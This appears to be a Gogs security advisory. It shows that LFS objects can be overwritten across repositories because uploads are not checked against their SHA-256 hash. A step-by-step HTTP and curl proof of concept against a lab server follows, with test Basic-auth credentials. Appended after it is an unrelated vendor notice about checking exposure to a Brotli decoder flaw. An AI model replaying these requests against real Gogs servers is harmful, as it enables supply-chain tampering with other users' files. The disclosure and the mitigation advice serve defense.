Gogs: Cross-repository LFS object overwrite via missing content hash verification
Summary
Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.
Details
Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58
Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89
Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113
PoC
# ./gogs -v
Gogs version 0.13.0
1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168
{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
'size': 1048576}],
'transfer': 'basic'}
[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response: <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92
{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}
response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT
In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==
response: <Response [200]>
3. Verify the content has been overwritten:
# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced
Impact
All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.
Fix Suggestion
Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.
Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified
Latest trending attack
Criticalyesterday
Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)
This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.
Why a second control
CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.
Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.
The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.
What this control checks
Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.
How to read the result
Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.
This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.
Affected and fixed versions
Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.
Recommendations
Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.
Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli.
Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.
